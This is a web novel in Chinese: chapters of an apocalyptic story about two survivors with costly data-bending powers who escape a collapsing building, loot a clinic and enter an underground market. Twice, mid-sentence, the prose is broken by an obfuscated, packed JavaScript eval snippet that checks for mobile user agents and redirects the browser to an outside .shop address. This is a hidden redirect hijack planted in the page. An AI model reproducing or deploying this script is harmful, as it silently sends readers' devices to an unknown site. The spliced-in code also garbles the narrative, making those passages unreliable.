世界安静了一瞬,只剩下碎屑落地的噼啪声和幸存者们劫后余生的剧烈喘息。 代价是同步抵达的。 尖锐的疼痛,像一根烧红的钢针从太阳穴狠狠刺入,在他大脑内部疯狂搅动。陆昭妄闷哼一声,眼前阵阵发黑,视觉边缘甚至出现了彩色的噪点。他下意识地想扶住旁边的隔断墙,手臂却有些发软。更诡异的是,脑海中一些熟悉的碎片正在变得模糊——他妈的,我用了三年的手机解锁密码是多少来着?六位数字,明明刚才还记得! 烟尘略微散去,两人隔着这片新鲜的废墟对视。 陆昭妄用力揉着刺痛的太阳穴,感觉自己的脑浆快要沸腾了,他呲牙咧嘴地看向对面那个脸色苍白得像鬼一样的女人,语气里混杂着痛楚和无法抑制的好奇:“你刚才那是什么?数据转移?” 沈悬衡扶着几乎散架的文件柜勉强站直,每一次呼吸都牵扯着胸腔里的不适感,那阵诡异的眩晕还没完全消退。她看着对方身后那片被暴力拆解的废墟,又看向这个刚刚制造了这一切的男人,声音因为虚弱而有些发颤,却带着一种难以置信的质问: “你……你拆了承重柱?” “不然呢?”陆昭妄扯出一个因为头痛而显得有些扭曲的笑容,反问道。他甚至有闲心指了指被埋在一片狼藉下的、已经不动弹的怨灵方向,“跟它背诵《员工守则》?还是给它做个PPT演示一下它存在的逻辑错误?” 塑料同盟,在生死关头的废墟之上,以最出人意料的方式,达成了第一次,也是最后一次的——免费试用。代价是头痛欲裂和暂时失忆的手机密码,以及,某种对彼此“非正常”身份的初步确认。 “现在可不是开建筑质量研讨会的时候!”陆昭妄忍着脑内持续的针刺感,声音因疼痛而有些发紧。他指向安全通道的方向,“那玩意儿只是被埋了,不是被超度了!而且这动静,简直是在用全楼广播‘开饭了’!” 仿佛为了印证他的话,远处传来了更多、更杂乱的、混合着电子噪音与物理撞击的嘶吼与破碎声。幸存的寥寥数人彻底慌了神,像无头苍蝇般乱窜。 沈悬衡压下喉咙口的恶心感,强迫自己站直。她看了一眼惊惶的人群,又看向陆昭妄——这个刚刚拆了一根承重柱的疯子,此刻成了眼下唯一看似有能力找到生路的人。“怎么办?”她问,声音依旧虚弱,但带着一种清晰的决断。 “怎么办?”陆昭妄扯了扯嘴角,眼神快速扫过周围环境,语速快得像在发布指令,“跟着我!我负责‘说服’那些不开眼的门和路,你负责……”他瞥了一眼她苍白的脸和微微颤抖的手,把“扛伤害”三个字咽了回去,改口道,“……负责让后面那些东西跑慢点!这买卖公平吧?” 公平?沈悬衡觉得这词从对方嘴里说出来格外讽刺。但她没有选择。 “好。” 塑料同盟开始以最高效率运转。 陆昭妄打头阵,双眼锐利地扫视前方。一道厚重的防火门紧闭着,电子锁闪烁着红光。他集中精神,对着门锁的内部控制逻辑“低声下气”地“商量”:“兄弟,通融一下,着火了,该开了。”——【逻辑重构】!门锁“嘀”一声轻响,绿灯亮起。代价是他的头痛加剧了一分,像有锤子在里面敲。 紧接着是走廊拐角,应急指示灯错误地指向一面实墙。他再次发动能力,强行让指示灯“相信”它应该指向正确的通道。光线扭曲了一下,改变了方向。这一次,他眼前猛地一花,差点没站稳,一段关于今早吃了什么的无关记忆碎片突兀地消失,留下一片空白。 “快走!”他回头低吼,声音带着一丝不易察觉的沙哑。 沈悬衡断后。她能感觉到身后追逐的恶意,那些新出现的、形态更加扭曲的数据造物。她没有陆昭妄那种“说服”死物的能力,她的【私心天平】只能作用于“存在”本身。当一只如同由破碎屏幕聚合而成的怪物猛地扑向队伍末尾一人时,她伸出手,翠绿数据流一闪——不是攻击,而是“连接”。 她将怪物那份“扑咬”的意图,连同其中蕴含的一小部分数据腐蚀性,强行转移到了旁边一个金属垃圾桶上。垃圾桶瞬间被无形的力量撞凹,表面冒出滋滋白烟。而沈悬衡自己,则感觉像是被人迎面打了一拳,胸口发闷,那股冰冷的、生命被抽离的感觉再次涌现,比上一次更清晰。 她咬紧牙关,一声不吭,继续跟上队伍。 又一次,为了阻止一个能释放干扰音波的悬浮球体,她同时为身边两人分担了部分精神冲击。结束后,她脚步一个踉跄,视野边缘开始发灰、模糊,指尖冰冷到麻木,仿佛不属于自己。 逃亡路上,两人没有任何交流,只有能力的交替闪烁和越来越沉重的喘息。他一次次“修正”前路的逻辑,她一次次“承担”后方的恶意。他头痛欲裂,记忆像漏水的桶不断流失碎片;她浑身冰冷,感觉自己正一点点变成空壳。 终于,紧急通道的出口就在眼前。但三道紧密闭合的、闪烁着不祥红光的电子密码锁,像最终的审判官,拦在了他们与生存之间。 “让我来!”陆昭妄推开试图用消防斧残余部分撬门的人,他双眼布满血丝,额头上全是冷汗。他知道自己快到极限了,但停下就是死。 他深吸一口气,将所剩不多的精力同时压向三道锁的内部结构—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这时,毫无征兆地,那尖锐的头痛如同潮水般退去了。 不是缓慢减轻,是几乎在瞬间消失得无影无踪,只留下一种过度思考后的轻微疲惫。更让他愕然的是,那串熟悉的六位数字,像是被临时清除的缓存数据又重新加载成功一样,清晰地跳回了他的脑海。 他猛地睁开眼,眼神里充满了惊疑不定。代价……消失了?刚才那要命的感觉,是错觉? 另一边,沈悬衡蜷缩着,双臂紧紧抱住自己。那是一种从骨髓深处渗出的寒冷,四肢百骸都残留着一种被掏空后的虚弱和麻木,视野像是蒙着一层毛玻璃,看什么都隔着一层。她甚至能感觉到指尖细微的、不受控制的颤抖。这就是使用能力的代价吗?如此具体,如此……令人绝望。 她闭上眼,几乎能“看到”自己的生命力如同沙漏里的沙,在刚才的逃亡中飞速流逝。 然而,几秒钟后,一股微弱但确实存在的暖意,毫无缘由地从心口位置弥漫开来,像冬日里喝下的一口热汤,迅速流向冰冷的四肢。视野中的灰色调开始褪去,世界的色彩和清晰度重新回归。指尖的麻木感消失了,取而代之的是触碰粗糙地面时正常的、略带刺痛的真实触感。 她难以置信地抬起自己的手,轻轻握拳,感受着力量一点点重新充盈这具几乎以为自己要彻底坏掉的身体。 那种“失去”的感觉,停止了。甚至,被“夺走”的东西,似乎……回来了? 两人几乎同时看向对方,都在对方眼中看到了劫后余生,以及那一丝无法掩饰的、关于“代价”的困惑与……侥幸。 沉默在弥漫,比刚才的逃亡更让人心绪不宁。 陆昭妄率先打破了沉默。他默默地,从那个鼓鼓囊囊、沾满灰尘的电脑包里,掏出了那块在砸售货机时顺带掉出来的、包装有些皱巴巴的巧克力。他小心地掰下看起来更完整、更大的一半,递到沈悬衡面前。动作有些生硬,与他之前那种玩世不恭的姿态截然不同。 沈悬衡看着那半块巧克力,又抬眼看了看他。他脸上还带着汗渍和灰痕,眼神复杂,不再是纯粹的算计或嘲讽,似乎也多了一点别的东西。她沉默了几秒,伸出手,接过,用几乎听不见的声音说了句:“谢谢。” 陆昭妄看着她苍白但似乎恢复了一丝血色的脸颊,那句在超市里脱口而出的“下次合作记得预约”在嘴边盘旋。他看到了她刚才的虚弱,也感受到了自己之前的头痛欲裂。这“合作”的代价,似乎比想象中更吓人。但……它们又好像,暂时消失了? 最终,他只是深深地看了她一眼,仿佛要记住这个在绝境中还会救人的、奇怪的“圣人”,以及这次莫名其妙“失而复得”的感觉。然后,他什么也没说,将剩下半块巧克力塞回包里,站起身,拍了拍身上的灰,转身,脚步还有些虚浮地,消失在了小巷另一端混乱的人潮里。 沈悬衡握着那半块带着他体温的巧克力,指尖传来正常的、温热的触感。她独自坐在废墟的阴影下,久久没有动弹。 身体的“正常”回来了,仿佛刚才的一切痛苦都只是一场噩梦。这让她几乎要相信,那骇人的代价,或许只是一次性的、极限状态下的透支,而非……永久性的剥夺。 这免费的第一次,附赠的唯一赠品,竟是一个如此甜美而危险的错觉。 显然,关于“下次”的议题,他们一个没敢问,一个懒得答—— 毕竟,《第一次不收费》。 3. 临时队友 “好运来”超市那来之不易的淡蓝色光膜,此刻正像接触不良的旧灯管一样,顽劣地闪烁着。每一次明灭,都让窝在废墟角落里啃着压缩饼干的幸存者们心脏跟着漏跳一拍。空气中弥漫着一种比数据幽灵的嘶鸣更让人焦躁的东西——名为“安全”的幻觉正在迅速蒸发。 沈悬衡清点着角落里所剩无几的物资:几瓶浑浊的净水,半箱包装破损、成分存疑的饼干,还有几个空空如也的罐头盒。她的眉头几不可查地蹙起,目光扫过那几个靠在墙边、因为轻伤或惊吓而显得格外萎靡的幸存者,最后落在一个额头滚烫、正小声啜泣的孩子身上。 “啧,”一个带着点懒散戏谑的声音在她身旁响起,“圣人小姐,看来你的‘安全区体验卡’余额严重不足,即将强制下线了。” 陆昭妄不知何时溜达了过来,他手里依旧抛接着那块仿佛有无限生命力的巧克力,动作悠闲得与周遭的紧张格格不入。他顺着沈悬衡的目光也看了看那几个伤员,嘴角勾起一个没什么同情心的弧度:“怎么,还在规划这里的五年发展纲要?醒醒,房东(指这个世界)要来收房了,而且还是暴力强拆的那种。” 沈悬衡没有理会他的调侃,只是平静地收回目光,看向他:“你有打算。” 这不是疑问句。 “聪明。”陆昭妄接住巧克力,终于停止了那个让人眼晕的动作,“我刚从一个吓得差点尿裤子的家伙那儿套到点有意思的消息。几个街区外,藏着个没被大部队光顾过的私人诊所。猜猜里面有什么?”他凑近了一点,压低声音,像是在分享什么见不得光的秘密,“抗生素,止痛药,说不定还有没过期的葡萄糖。怎么样,比在这儿等着喝辐射水有前途吧?” 沈悬衡的睫毛颤动了一下。医疗物资,这对现在的他们来说,诱惑力太大了。 陆昭妄看清了她眼底的动摇,立刻趁热打铁,语气恢复了那种漫不经心的调调:“怎么样,要不要跟我去干一票更实际的?两个人,总比一个人单刷副本存活率高点——至少,真遇上硬茬子,还能多个人帮忙吸引火力,方便另一个跑路,对吧?”他这话说得坦荡又无耻,仿佛队友的价值就在于当个合格的诱饵。 沈悬衡沉默了几秒,目光再次扫过那个发烧的孩子,然后抬眼,直视陆昭妄那双总是带着点算计和玩味的眼睛。 “可以。”她的声音依旧没什么起伏,却带着一种清晰的决断,“但找到的医疗物资,优先救助伤员。” 陆昭妄耸耸肩,一副“随你便”的样子:“成交。反正我对当白衣天使拯救苍生没兴趣,分工明确就好。”他顿了顿,像是忽然想起什么,指了指头顶那闪烁频率越来越急的光膜,“所以,我们是不是该在‘房东’把这里彻底拆了之前,提前挪个窝?” 沈悬衡没有回答,只是默默地将地上所剩无几的、还能入口的饼干碎屑收集起来,包好,塞进一个空罐子里,动作麻利地站起身。 塑料同盟,在旧安全区崩塌的前一刻,正式升级为……呃,用陆昭妄的话说,叫“临时搭伙人”。用沈悬衡的理解,则是一次目标明确、各取所需的短期合作。 至于这“临时”会持续多久,没人知道。或许等到下一块巧克力出现的时候? 超市那苟延残喘的光膜在他们踏出门口第三步时,发出一声轻微的、如同叹息般的“啵”声,彻底熄灭了。身后传来几声压抑的惊呼和更深的绝望啜泣,但很快被街道上永不停歇的、混杂着数据杂音与未知威胁低鸣的背景音所吞没。 陆昭妄几乎是立刻拽着沈悬衡的胳膊,利落地闪身躲进了一辆侧翻的悬浮出租车形成的阴影里。“欢迎回到现实世界,”他松开手,拍了拍沾上铁锈的掌心,语气轻松得像在介绍旅游景点,“这里的规则很简单:别显眼,别出声,别相信任何会动的东西——包括看起来像人的。” 街道比记忆中任何一幅末日题材的游戏场景都要破败和……抽象。扭曲的金属招牌一半维持着原样,另一半则化作了不断流动的彩色乱码;一团如同石油泄漏般粘稠的暗影覆盖了半条马路,里面偶尔会鼓起几个气泡,破裂时散发出臭氧和腐烂混合的怪味。 “跟紧点,丢了可没地方广播寻人。”陆昭妄压低声音,身体微微前倾,以一种猫科动物般的姿态开始移动。他没有走宽阔的马路,而是专挑店铺之间的狭窄缝隙、倒塌的广告牌形成的通道,甚至需要匍匐爬过一段通风管道。 沈悬衡默不作声地跟上,她的动作不如陆昭妄那样带着街头磨练出的流畅野性,却异常稳定和轻巧,几乎不发出任何多余的声音。她的目光不断扫视着周围,不仅仅是寻找潜在的怪物,也在观察建筑的结构稳定性、地面残留的数据流痕迹,以及其他可能在附近活动的幸存者留下的蛛丝马迹。 “左转,走上面。”陆昭妄突然停下,指了指头顶一座连接两栋楼的、已经部分断裂的人行天桥。桥体锈蚀严重,看上去摇摇欲坠。 沈悬衡顺着他指的方向看去,又看了看桥下那片不祥的、如同活物般缓缓蠕动的暗影区域,点了点头。这确实比从下面穿过更明智。 他们小心翼翼地攀上天桥。就在走到中段时,桥下那片暗影中,几个模糊的、如同由破碎镜片组成的轮廓开始凝聚,发出细微的、令人牙酸的刮擦声。 陆昭妄立刻举起手,示意停下。他眯着眼观察了一下,随即从背包侧袋摸出半块砖头——不知道他什么时候塞进去的——对着桥另一端下方一个废弃的金属垃圾桶,用力掷了过去。 “哐当!”一声巨响在寂静的街道上格外刺耳。 下方那些“镜片幽灵”的注意力瞬间被吸引,如同嗅到血腥味的食人鱼,蜂拥着朝声源处扑去。 “快走!”陆昭妄低喝一声,两人迅速且安静地跑过了天桥残存的部分。 落地后,沈悬衡看了他一眼,轻声说:“很有效的方法。” 陆昭妄得意地扬了扬下巴:“基础操作。对付这些没脑子的东西,声东击西比什么都好使。异能?”他嗤笑一声,拍了拍背包,“那得留着对付大餐,不能浪费在开胃菜上。” 接下来的路程,类似的情形又发生了两次。一次是陆昭妄利用残存的交通信号灯制造了一次短暂的电路过载闪光,晃晕了几个对光线敏感的数据浮游体;另一次是沈悬衡敏锐地察觉到前方拐角处有刻意布置的、几乎看不见的数据绊线,显然是其他幸存者设下的陷阱,两人果断绕行。 他们像两道在废墟中穿梭的幽灵,依靠着观察、经验和一点小小的“物理外挂”,尽可能规避着冲突。只有在一次被三只行动迅捷的【数据猎犬】堵死在死胡同时,两人才不得不动用能力。 陆昭妄只是极快地“重构”了其中一只猎犬扑击路径上的一块碎石的“位置”,让它脚下打滑,撞向了同伴,制造了一瞬间的混乱。沈悬衡则是在另一只猎犬扑向她时,伸出手指极快地在空中一点,那猎犬的“撕咬”动作莫名地歪了几厘米,只撕破了她的一片衣角。 动作干净利落,消耗微乎其微。结束后,两人气息平稳,没有任何异样。 陆昭妄甚至还有闲心点评了一句:“看,这就叫性价比。真要动不动就拆楼挡子弹,咱俩迟早得因为‘能耗过高’提前报废。” 沈悬衡没有反驳,只是低头看了看被划破的衣角,默默地将它掖好。她很清楚,他看似玩笑的话里,藏着对这个崩坏世界规则的清醒认知。过度依赖那种来路不明、代价未知的力量,绝非长久之计。 穿过最后一条堆满报废车辆的隧道,那家有着显眼红十字标志的私人诊所,终于出现在视野尽头。它孤零零地矗立在一个十字路口,外观居然奇迹般地保持着大半完整,只是门口散落着一些医疗废料和破碎的玻璃。但那种过分的、死寂的“完整”,反而让人更加不安。 沈悬衡的视线则被诊所外墙吸引——一些散落的医疗废料和墙壁上干涸污渍的边缘,正萦绕着极其细微的、不祥的暗绿色数据流,与之前常见的紫色流光截然不同。 “里面的‘东西’,可能不止一种。”她轻声说,指尖微微绷紧。 “管它打包销售还是买一送一,”陆昭妄扯了扯嘴角,手指无意识地在磨尖的金属桌腿上敲了敲,“来都来了。” 临时队友的第一次副本挑战,就在眼前。 诊所的玻璃大门碎了一地。里面没有光,只有破窗透进的、被灰尘切割得支离破碎的阳光。消毒水、血腥和电路烧焦般的恶臭凝成实质,沉甸甸压在胸口。 “保持通风懂不懂?”陆昭妄用手在鼻前扇了扇,眼神锐利地扫过前台堆积的病历夹和翻倒的轮椅,“这管理也太混乱了。” 沈悬衡的视线则被墙壁吸引——大片泼溅状的黑褐色污渍上,除了熟悉的紫色流光,还夹杂着几缕正在缓慢蠕动、如同苔藓般的暗绿色痕迹。一种混杂着腐败草药、化学毒素与疾病溃烂的复合性恶臭,正从那些绿色痕迹中弥漫出来,与之前遭遇过的任何数据怪物都不同。 她眉头紧蹙,指尖微微发凉:“不止是精神干扰……还有很强的生物污染特性。小心,里面的东西可能很麻烦。” “生物污染?”陆昭妄挑眉,环顾四周,语气却带着他特有的戏谑,“听起来像是把整间诊所变成了它的培养皿。这管理可比数据幽灵差劲多了。” 两人一前一后踏入诊所大厅。脚下碎玻璃的脆响在死寂中格外刺耳。走廊更加昏暗,断断续续的电子音不知从何处传来,像是某种医疗仪器垂死的哀鸣。 突然,前方虚掩的诊室里传来“啪嗒”一声。陆昭妄立刻举起金属棍,沈悬衡也屏息凝神。几秒后,一只眼睛闪着红光的机械护理助手歪歪扭扭地走出来,机械臂不断撞击地面。 “虚惊一场。”陆昭妄稍微放松,但眼神依旧警惕。 根据指示牌,药房在走廊尽头。越是靠近,混合着药品和甜腻腐臭的气味就越发浓烈。药房的双开金属门被暴力撞开,里面货架倾倒,药品散落一地。 “分头找,抗生素、止血带、消毒剂。”陆昭妄说着就走向倾倒的货架。 沈悬衡走向内侧配药区。就在她弯腰查看矮柜时,通风口格栅“砰”地被撞开,一个扭曲的身影滑落—— 灰绿色的皮肤像沸腾的粥般鼓动,没有五官的脸上只有一张流淌黑液的嘴,发出混杂着无数病症描述的呓语。 【瘟疫医生】! 无形的精神波动扩散开来。陆昭妄眼前浮现疱疹幻觉,沈悬衡感到心脏绞痛。“是幻觉!别信!”陆昭妄大吼,将金属桌腿掷向怪物,却穿身而过。 沈悬衡抓起沉重的病历夹,砸向旁边标识“危险病原体”的恒温箱控制面板。电火花爆起,强光和噪音让怪物嘶鸣着扭曲。 “好主意!”陆昭妄开始疯狂破坏周围设备——推倒仪器车,扯断数据线,瓶罐砸向墙壁。混乱的“物理驱魔”有效干扰了怪物,让它无法凝聚精神干扰。 沈悬衡趁机撬开矮柜,将几盒抗生素和止血绷带扫进布袋。“拿到了!” “撤!”陆昭妄将氧气瓶滚向怪物,两人冲向门口。在冲出门口的瞬间,他跳起拉下老式火警报警器。 “呜——!!!”刺耳的铃声响彻诊所。对瘟疫医生这类存在,这纯粹物理的高分贝噪音竟是克星。它发出痛苦哀嚎,身体干瘪消散,化为一滩绿烟粘液。 站在诊所外,听着轰鸣的火警铃声,两人都有些气喘。这场战斗依靠的是急智和物理手段,异能始终作为未动用的底牌。 陆昭妄抹了把汗,看向沈悬衡手中的布袋,咧嘴一笑:“看来,‘临时队友’的第一次副本,收获还算不错? 诊所外的空气虽然依旧混杂着城市废墟特有的尘埃与数据腐败的气味,但相比诊所内那令人窒息的混合恶臭,已然清新得如同山间晨风。火警铃声还在身后固执地鸣响,仿佛在为他们的首次“副本通关”奏响一首刺耳又滑稽的凯歌。 陆昭妄靠着街边一根歪斜的电线杆,长长舒了口气,不是疲惫,更像是一种紧绷后的释放。他侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647160|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头,看向旁边正低头检查布袋内药品的沈悬衡,嘴角那惯有的戏谑弧度又扬了起来。 “看来,‘临时队友’的第一次副本,收获还算不错?”他重复了一遍刚才的话,但语气里多了几分实实在在的赞许,“最后那下火警铃,神来之笔。成本低廉,效果拔群,值得写进《末日求生省钱指南》第一章。” 沈悬衡清点完药品,确认抗生素和绷带都完好无损,这才抬起头。她的脸色依旧有些苍白,但眼神很亮,像被水洗过的墨玉。她没有接他的玩笑话,只是将布袋的口子仔细系好,然后从里面拿出两板抗生素,递给他。 “给你的。”她的声音平静无波,仿佛只是递过一杯水。 陆昭妄愣了一下,没接,挑眉:“什么意思?预支下次合作的‘演出费’?还是觉得我看起来比较像需要预防感染的弱势群体?” “备用。”沈悬衡言简意赅,手依然伸着,“你的‘搜索’方式,受伤概率更高。” 陆昭妄看着她,忽然笑了,这次不是嘲讽,而是带着点说不清道不明的意味。他接过那两板药片,在手里掂了掂,塞进自己那个看起来比沈悬衡的包“丰富”得多的背包里。“行,那我就当是队友福利了。”他顿了顿,像是忽然想起什么,话题跳脱地问道,“哎,我说,咱们这‘临时队友’的关系,是不是得有个正式点、响亮点的名号?不然以后跟别的队伍报家门,说‘我们是临时组队的’,多没气势。” 沈悬衡将布袋背好,开始观察四周环境,寻找下一步的移动路线,对他的提议似乎兴趣缺缺。“没必要。” “怎么没必要?”陆昭妄跟在她身侧,开始掰着手指头数,“‘末日纵横二人组’?‘真理与正义的伙伴’?虽然你比较符合后者,但我勉强也能沾点边……” 沈悬衡没停下脚步,只是淡淡瞥了他一眼:“太浮夸。” “那……‘圣光与杠精’?”陆昭妄锲而不舍,甚至有点洋洋自得于自己的“精准概括”,“直接点明核心成员构成,诚实坦率,一听就印象深刻。” 沈悬衡的脚步几不可查地顿了一下,似乎被这个过于直白的组合名称噎了一下,随即加快步伐,语气带着一丝无奈的坚决:“……就叫临时队友。” “行吧,你是队长你说了算。”陆昭妄耸耸肩,从善如流,但嘴上却没停,“不过‘临时’这个词,听起来就很没有归属感啊,不利于团队凝聚力建设,容易让队员产生‘干完这票就散伙’的消极情绪……” 夕阳将两人的影子在破碎的沥青路面上拉得很长,时而交错,时而分开。沈悬衡走在前方,专注于选择路径和规避风险,偶尔会简短地指出一个方向。陆昭妄跟在后面,嘴里依旧絮絮叨叨地吐槽着“队名”的重要性,目光却同样警惕地扫视着周围,手中的金属棍有一下没一下地敲打着路边的障碍物,发出规律的轻响。 在穿过一个满是废弃报刊亭的街角时,沈悬衡突然停下,从自己的布袋里又拿出一卷干净绷带,转身,默不作声地塞进陆昭妄背包侧面的空水壶套里——他之前在那里塞了太多“有用”的零碎,绷带反而没地方放了。 陆昭妄的唠叨戛然而止。他低头看了看那卷绷带,又抬眼看了看沈悬衡已经转回去的、略显单薄的背影,摸了摸下巴,最终什么也没说。 实际上在那天之后,他那块珍藏的、最后的巧克力,悄无声息地从他的口袋,转移到了沈悬衡那个装着药品的布袋里。 夕阳彻底沉入远方的废墟剪影之下,最后一点余晖像吝啬的金粉,点缀在诊所外墙斑驳的十字标志上。街道沉入一种比白昼更危险的静谧,只有远处偶尔传来的、不属于任何已知生物的嘶鸣,提醒着他们夜幕的降临。 陆昭妄终于停止了关于队名的即兴演讲,快走两步与沈悬衡并肩,声音压低了些,带着正经商议事的口吻:“喂,天快黑了。‘流浪者集市’听说过吗?就在几个街区外那个半塌的地铁站里。虽然鱼龙混杂了点,但至少能换到点情报,找个相对安全的角落凑合一晚,比在街上当活靶子强。” 沈悬衡停下脚步,侧头看他。暮色中,他脸上的戏谑收敛了不少,眼神在渐浓的夜色里显得格外清醒。她略一思索,点了点头。比起暴露在毫无遮拦的街道,一个已知的、即使混乱的聚集点,确实是更优选择。 “带路。”她言简意赅。 陆昭妄咧嘴一笑,这次没再多话,转身走在前面,步伐稳健地引领方向。 两人沉默地前行了一段,穿梭在由废弃车辆和建筑残骸构成的迷宫般的小径里。夜幕像一块浸透了墨汁的绒布,迅速覆盖下来,只有零星一些还在顽强闪烁的霓虹招牌和空气中游离的数据流光,提供着微弱而不定的照明。 在等待陆昭妄探查前方一个岔路口是否安全的间隙,沈悬衡借着一点微光,再次打开布袋,确认药品的安全。指尖触碰到一个硬硬的、方方正正的物体,不是药盒。她微微一怔,将其拿了出来。 是那块包装完好的巧克力。 她愣住,拿着巧克力,抬头看向前方正蹲在地上、借着一点数据流的光亮研究地面痕迹的陆昭妄的背影。暮色与微光将他的轮廓勾勒得有些模糊,却似乎比白昼时少了几分棱角。 沈悬衡低头,看着掌心那抹与周遭环境格格不入的、象征着旧日世界某种甜蜜回忆的物件,指尖微微收拢,最终将它默默塞回了布袋最深处,贴着那几盒救命的抗生素。 她什么也没说。 当陆昭妄确认安全,回头示意她跟上时,一切如常。只不过当他的目光不经意扫过她那个看起来毫无变化的布袋时,眼底深处,掠过一丝极淡的、连他自己都未曾察觉的笑意。 临时队友的第一次正式行动,在沉默的默契和一块悄然易主的巧克力中,暂时画上了休止符。而关于“队名”的争议,显然,还远未结束。 “那至少把‘临时’去掉?听着跟随时要散伙似的。” “……等我们做的事,配得上一个更好的名字再说吧。” 4. 你也妹说要进传销啊 夜幕像一块浸透了劣质墨汁和闪烁代码的破布,彻底笼罩了城市。远处偶尔亮起的爆炸般的数据闪光,短暂地映照出建筑物扭曲的剪影,随即又被更深的黑暗吞没。 陆昭妄在一处被巨型广告牌残骸半掩着的的地铁通风口前停下脚步。广告牌上某个过时女星的笑容被从中撕裂,只剩下半张红唇和一只空洞的眼睛,凝视着这不合时宜的访客。 “到了,”他侧过身,对跟在身后的沈悬衡做了个“噤声”又“请看”的手势,语气带着一种介绍自家后花园般的熟稔,“欢迎光临‘流浪者集市’——本区域最混乱、最不安全,但也可能是消息最灵通的……法外之地。” 沈悬衡顺着他示意的方向看去。 通风口内部并非想象中的漆黑一片,反而有各种颜色的、微弱而杂乱的光线透出来,伴随着隐约传来的、被地下结构放大又扭曲的嘈杂人声。 一股混合着机油、汗臭、劣质燃料和某种食物腐败的气味,从洞口深处涌出,与外面清冷的、带着数据尘埃的空气形成鲜明对比。 洞口两侧的阴影里,靠着两个身形魁梧的男人。他们没携带什么像样的武器,但裸露的手臂上布满了新旧交叠的伤疤和意义不明的粗糙数据纹身,眼神像探照灯一样在陆昭妄和沈悬衡身上扫视,带着毫不掩饰的评估与警惕。 “生面孔?”左边那个脸上带疤的开口,声音沙哑得像砂纸摩擦。 “混着混着就熟了,”陆昭妄上前一步,脸上挂起那种恰到好处的、既不显得挑衅也不显得懦弱的笑容,“听说这里规矩是,进门得买票?”他说话的同时,看似随意地调整了一下背包的位置,让背包侧面口袋里插着的那根磨尖的金属桌腿,在对方视野里清晰地晃了一下,递给他们一个“老子不好惹”的信号。 疤脸男嗤笑一声:“规矩没变。看你们这细皮嫩肉的,不像是有硬货。你难道有什么能换命的玩意儿?” 陆昭妄也不废话,直接从背包侧袋——巧妙地避开了存放主要药品和巧克力的主仓——摸出两小瓶之前在诊所顺手捞的、标签模糊的维生素片,在手里掂了掂:“补充剂,预防坏血病,增强抵抗力。末世生存,光有肌肉不够,还得有点内在美,对吧?” 那两个守卫交换了一个眼神。 疤脸男伸出手,带着一种不容置疑的气场:“东西留下。进去后管好自己的手脚和舌头,惹了麻烦,没人给你们收尸。” 陆昭妄爽快地把维生素片放到对方手里,回头朝沈悬衡扬了扬下巴,率先弯腰钻进了通风口。 通道狭窄而陡峭,向下延伸,内壁布满了粗糙的焊接痕迹和加固的金属条,显然是后期人为改造的。走了约莫十几米,眼前豁然开朗。 即便是沈悬衡,在看到眼前的景象时,瞳孔也微微放大。 这是一个利用废弃地铁站台和部分隧道扩建出的巨大地下空间。 穹顶上,几盏依靠不知名能源驱动的吊灯投下昏黄不定光晕,更多的光源则来自各式各样自制的照明设备——连接着老旧电池的LED灯带、甚至还有燃烧着某种油脂的火把,将整个空间映照得光怪陆离。 空气中那股混杂的气味在这里变得更为浓烈。原本的候车区变成了拥挤的“商业区”,摊位密集,用破烂的帆布、塑料板甚至汽车门板搭建。 叫卖声、争吵声、窃窃私语声和各种工具的敲打声混杂在一起,形成一种奇异又充满生命力的喧嚣。 有人在交易锈迹斑斑的武器零件和少量弹药;有人面前摆着几罐颜色可疑的腌制食品;一个摊主正在演示如何用数据废料提炼出微弱的能源;另一个则挂着“信息咨询”的牌子,眼神狡黠地打量着每一个路过的人,不肯放过任何一个商机。形形色色的幸存者穿梭其中,有的眼神凶悍,有的面带饥色,有的则像陆昭妄一样,带着一种与环境融为一体的警惕和适应。 “怎么样,是不是比上面那个只有怪物的鬼地方热闹多了?”陆昭妄的声音在她耳边响起,带着一丝不易察觉的兴奋,仿佛回到了主场。他指了指周围,“记住,在这里,信用点是狗屁,子弹算二等货币,最硬的通货……”他顿了顿,目光扫过那些信息贩子,“是别人不知道的消息,和能救命的玩意儿。” 他得意洋洋的,像是炫耀宝物般的目光最后落在沈悬衡背着的、装着抗生素的布袋上,意思不言而喻。 集市内部的气流粘稠而污浊,仿佛每一口呼吸都在和无数陌生人共享肺叶。陆昭妄如鱼得水地融入这混乱的人潮,他的步伐带着一种独特的节奏,既能灵巧地避开碰撞,又能精准地捕捉到那些隐藏在角落或有价值的信息。 他在一个摆满各种废弃电子元件的摊位前蹲下手指熟练地拨弄着几块烧焦的电路板,和摊主——一个手指被数据流灼伤留下永久性扭曲疤痕的男人——低声交谈起来。 几句带着行话的交流后,他用一小块从悬浮车上拆下来的、能量反应尚未完全熄灭的电池核心,换回了一张手绘的、标注了几个近期“高活跃度数据风暴区”和“相对安全水源点”的粗糙地图。 “看见没?”他将地图塞进背包,语气带着点小得意,“这就叫信息差变现。那哥们儿只想着怎么点亮他的小灯泡,我能让这破烂带我们绕过要命的区域。” 沈悬衡跟在他身后,她的存在与这环境显得格格不入。并非怯懦,而是一种过于“洁净”的气质,像一滴油落入污水,无法融合。 她的目光更多是落在那些蜷缩在隧道阴影里、明显处于虚弱或伤病状态的幸存者身上。当一个面色灰败、不住咳嗽的老妇人伸出颤抖的手向她乞讨一点水时,沈悬衡几乎没有任何犹豫,便解下自己腰间所剩不多的水壶,递了过去。 就在老妇人千恩万谢,沈悬衡弯腰准备查看她情况时,几道不怀好意的目光立刻从不同方向黏了过来,像嗅到血腥味的鬣狗。 